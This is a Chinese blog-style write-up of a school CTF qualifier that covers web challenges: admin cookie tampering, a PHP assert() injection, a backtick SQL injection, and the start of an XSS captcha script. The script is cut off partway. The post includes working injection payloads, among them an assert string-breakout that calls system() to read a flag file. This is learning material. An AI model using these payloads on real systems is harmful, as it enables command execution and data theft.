某校选拔赛

本文详细记录了一次网络安全选拔赛的解题过程,涉及Web领域中的admin权限获取、PHP注入、XSS漏洞利用,逆向工程中的安卓应用分析及字符串解密,以及Crypto挑战中的BB编码和RSA加密解密问题。通过扫描、源码分析、构造payload等方式,逐步揭示了解题思路和解决方案。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web

admin

首先扫描,发现目录
这里写图片描述

访问发现flag不对,抓包,修改一下cookie即可
这里写图片描述

babyphp

查看源码得到hint
这里写图片描述

然后这题又有.git泄露
这里写图片描述

发现有个过滤,这题就是只要绕过,然后执行访问目录即可,开始构造
'.xxx.'
这样大概在里面是
$file="templates/".''.xxx.''.".php"

assert("strpos('templates/'.xxx.'.php') ===

这里写图片描述

发现可以找到,但没有办法查看,那如果我闭合前半部分,单独执行sys命令呢
','..') === False and system('');//
payload:
','..')===False and system('cat templates/flag.php');//
这里写图片描述

flag:61dctf{8e_careful_when_us1ng_ass4rt}

inject

一开始没有其他目录,那就尝试一下备份
.index.php.swp发现源码

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

发现我如果输入任何数,都会hack!,猜测是Hacker()报错的,而过滤函数只起到过滤不报错的作用,那就下来就必须让那个链接语句成功
由于是反引号,尝试用反引号闭合试试
这里写图片描述

发现是完全可以的
然后直接构造语句试试
这里写图片描述

成功,但是不是1,看来有可能是顺序问题,利用limit
这里写图片描述

表名
这里写图片描述

列名
这里写图片描述

flag到手
这里写图片描述

babyxss

首先是验证码的碰撞,直接脚本

import random
import string
import hashlib

def md5
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值